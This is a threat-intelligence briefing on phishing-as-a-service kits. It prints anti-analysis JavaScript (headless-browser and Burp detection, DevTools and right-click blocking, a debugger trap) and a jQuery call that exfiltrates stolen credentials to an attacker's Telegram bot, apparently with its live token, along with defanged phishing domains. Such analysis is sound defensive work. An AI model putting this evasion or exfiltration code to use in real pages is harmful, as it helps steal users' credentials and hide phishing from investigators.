Doppel Intelligence Briefing: Scripted Defenses in Phishing Kits Evade Analysts

Author: Aarsh Jawa

As cybersecurity platforms have become increasingly sophisticated and more available to users, so have pay-to-play cyberscrime opportunities like Phishing As a Service (PHAAS).

According to SecurityBrief, nearly 70% of all phishing attacks that have occurred in 2025 have been delivered through PHAAS models.

For security analysts, detecting and dismantling the payload in PHAAS campaigns is no longer a simple task. Threat actors are increasingly relying on client-side evasion techniques to stay ahead of both automated detection systems and human investigators. A notable method growing in popularity is the use of JavaScript-based anti-analysis scripts; small but effective bits of code embedded in phishing pages, fake tech support sites, and malicious redirects.

Recently, Doppel’s Threat Intelligence team observed these scripts being used to detect environments associated with analysis, such as headless browsers, proxy tools like Burp Suite, and actions like opening DevTools or viewing page source. Once any such activity is identified, the site immediately redirects the user to a blank page or disables further interaction blocking access before any deeper inspection can occur.

This article examines how these scripts operate, their role in phishing infrastructure, and why defenders must understand these evasion layers that activate before malware ever touches the endpoint.

‍
Evasion Stacking in Modern Phishing Kits

In recent phishing campaigns, threat actors are layering multiple evasion techniques to increase stealth and reduce the chances of detection. These aren’t just minor obfuscation tricks, they’re deliberate, effective methods designed to frustrate both human analysts and automated security tooling.

For our intelligence team, the real breakthrough came when we traced the origins of this evasion script.

Upon dissecting the structure and obfuscation patterns, we discovered that the phishing kit was being distributed via a public GitHub repository. The repository contained modular components that threat actors could easily customize  including fake login pages, wallet prompts, and obfuscated JavaScript evasion logic. The same logic we’ve been observing in the wild was readily accessible, well-documented, and updated frequently  suggesting that this kit is not only used in active campaigns but likely maintained for broader use across phishing-as-a-service operations.

Browser-in-the-Browser (BitB):

This GitHub-hosted kit explains the consistency we’ve seen across unrelated phishing domains using identical evasion tactics. It also highlights how even advanced techniques are increasingly packaged and commoditized  lowering the bar for attackers to implement sophisticated detection countermeasures.

The GitHub repo hosting the phishing kit also included a Browser-in-the-Browser (BitB) template, allowing threat actors to mimic a real browser window within the page. This trick makes the fake login prompt look more authentic and helps bypass user suspicion and some automated detection tools.

Key Indicators:

• Static credential logging via save.php → creds.txt
  
  
• Use of Microsoft-style favicons and error page redirection
  
  
• Fake UI elements using ssl.svg, custom style.css, and script.js
  
  
• No external C2, but easily adaptable for remote exfiltration

Risk: High – this kit is operational, customizable, and convincing, particularly effective against less technically aware users.


Workflow
Victim lands on a phishing page, e.g., login.html.

• The UI mimics an Office365 login using realistic CSS, JS, and fake icons.
  
  
• Once the user submits their credentials:
  
  
  
  • The form posts to save.php.
    
    
  • save.php captures the username and passwd fields.

These are written to /opt/O365-BITB/creds.txt.

noVNC-Based Virtual Phishing Pages

Instead of serving phishing pages directly, some actors now host phishing UIs inside virtual desktop environments using noVNC. The content (fake login forms, wallet drains) is rendered within a VNC session streamed to the victim’s browser. This approach:

• Prevents scanners from detecting phishing UI elements
  
  
• Blocks source code inspection
  
  
• Runs isolated from the browser, evading native security alerts

In this campaign, the phishing infrastructure doesn’t directly serve static HTML phishing pages. Instead, it deploys a virtual desktop environment using noVNC, exposing a fake login panel (e.g., Microsoft or wallet login) inside the VNC stream.

This is the actual HTML source captured from a live noVNC-based phishing campaign.

Detection Evasion Benefits:

• The phishing form is rendered inside the VNC layer, not directly in the page DOM making it harder for scanners or automated tools to detect familiar phishing keywords or visual elements.
  
  
• Right-click, inspect element, and browser-based visibility are neutralized, as the victim is interacting with a remote UI canvas streamed over WebSocket.
  
  
• Indicators such as JavaScript variables or form action URLs are not exposed in page source, unlike traditional HTML-based phishing kits.
  
  

Once the noVNC session is fully established, this is the phishing interface delivered to the victim  a pixel-perfect replica of Microsoft’s official login screen. From the branding and font to the “Sign-in options” link, everything is crafted to reduce suspicion and harvest credentials with maximum believability.

‍

JavaScript-Based Blocking:

‍

The script in these websites is a JavaScript-based anti-analysis and anti-debugging defense commonly used in phishing kits, malicious landing pages, or scam sites to evade manual inspection and automated tools.

Here’s a detailed breakdown of what’s happening:

1. Bot/Tool Detection & Redirection

if (  
navigator.webdriver ||  
window.callPhantom ||  
window._phantom ||  
navigator.userAgent.includes("Burp")
) {  
window.location.href = "about:blank";  
return;
}

Purpose:

• Detects automated tools and environments such as:
  
  
  
  • navigator.webdriver → Selenium or headless browser
    
    
  • callPhantom, _phantom → PhantomJS (headless browser)
    
    
  • "Burp" in user agent → Burp Suite proxy tool
    
    
• Redirects to about:blank immediately if detected
  
  

Motivation:

Evade:

• Security researchers
  
  
• Automated scanners (headless, virtualized)
  
  
• Proxy-based intercepts like Burp

2. Key Combination Blocking

const BhYjvUYWwE = [ ... ]; // Key code shortcuts like Ctrl+Shift+I, etc.

document.addEventListener("keydown", (evt) => {
  if (TQnTJznKKP(evt)) {
    evt.preventDefault();
    return false;
  }
});

Blocks developer/debugger-related shortcuts:

Motivation:

Prevent analysts from opening developer tools to inspect DOM, JS, or network activity.

‍

3. Context Menu Blocking

document.addEventListener("contextmenu", (evt) => {
  evt.preventDefault();
  return false;
});

Prevents:

• Right-click menu
  
  
• Option to “View Source”, “Inspect”, etc.
  
  

Motivation:

Hinders non-technical users from easily exploring the page.

‍

4. Debugger Trap with performance.now()

setInterval(() => {
  const start = performance.now();
  debugger;
  const end = performance.now();
  if (end - start > 100 && !IttHmVWiNm) {
    pmzZuLqjue = true;
    IttHmVWiNm = true;
    window.location.replace("https://www.etsy.com");
  }
}, 100);

Behavior:

• Repeatedly calls debugger; in an interval
  
  
• If someone pauses execution in dev tools, time between performance.now() calls increases
  
  
• If delay > 100ms → assume debugging is active
  
  
• Redirects user to https://www.etsy.com to throw off the analyst
  
  

Motivation:

To catch anyone using DevTools or breakpoints to investigate the page. It’s meant to frustrate those attempting to reverse engineer the attack.

This kind of aggressive evasion is typical in phishing, scams, or malware loader sites, especially those mimicking login portals, wallet apps, or payment processors.

These blocking techniques like disabling DevTools, detecting Burp Suite, and setting debugger traps have been observed on phishing sites that recently surfaced in campaigns exploiting legitimate Zoom Events infrastructure.

These attacks typically begin with emails from noreply-zoomevents@zoom.us, urging recipients to “View file” or “Download Desktop App Now.” The initial link points to hxxps://docs.zoom.us/doc/, which then redirects users either to a browser-based AitM (Adversary-in-the-Middle) phishing site employing the evasion tricks mentioned above, or to a malicious download.

This campaign isn’t isolated, similar infrastructure and domain naming conventions were observed in phishing waves last year as well. The attackers consistently use keywords like office, microsoft, or login in subdomains or root domains to lend legitimacy and mimic Microsoft-branded services.

Examples from prior phishing campaigns include:

• office-vista.amoloto[.]cfd
  
  
• office-tight-darkness-internationrequestion-common-update.awss.workers[.]dev
  
  
• office.2ina19naz[.]online
  
  

This tactic increases trust among victims and improves social engineering effectiveness, especially when paired with official branding, fonts, and favicons from Microsoft’s CDN.

Telegram-Based Exfiltration:

In another campaign, we found a phishing kit exfiltrating stolen Microsoft credentials directly to a Telegram bot. Instead of relying on backend servers, it used Telegram’s public API  making takedown harder and detection trickier. The fake login page looked convincing, used a clean UI with logos from Firebase, and sent credentials + IP via AJAX the moment a user hit “Sign In.” It’s a simple yet effective method that’s growing more common in modern phishing kits.

Credential Exfiltration via Telegram API

$.ajax({
  url: `https://api.telegram.org/bot7505850519:AAG-gm1DwAcpgfKeAXL3M3rl1DXK8D9B1a0/sendMessage?chat_id=6392148304&text=...`
});

• Sent directly to attacker’s Telegram bot via bot token and chat ID
  
  

Fake Error Handling + Success Page

if (count >= 2) {
    $("#div2").hide();
    $("#div3").show();
    setTimeout(() => {
        window.location.replace("https://outlook.live.com/mail/0/inbox");
    }, 500);
}

• Makes the experience feel real by redirecting to Outlook after “confirmation”
• Mimics login failure and retry logic to seem authentic

‍

Indicators of Compromise: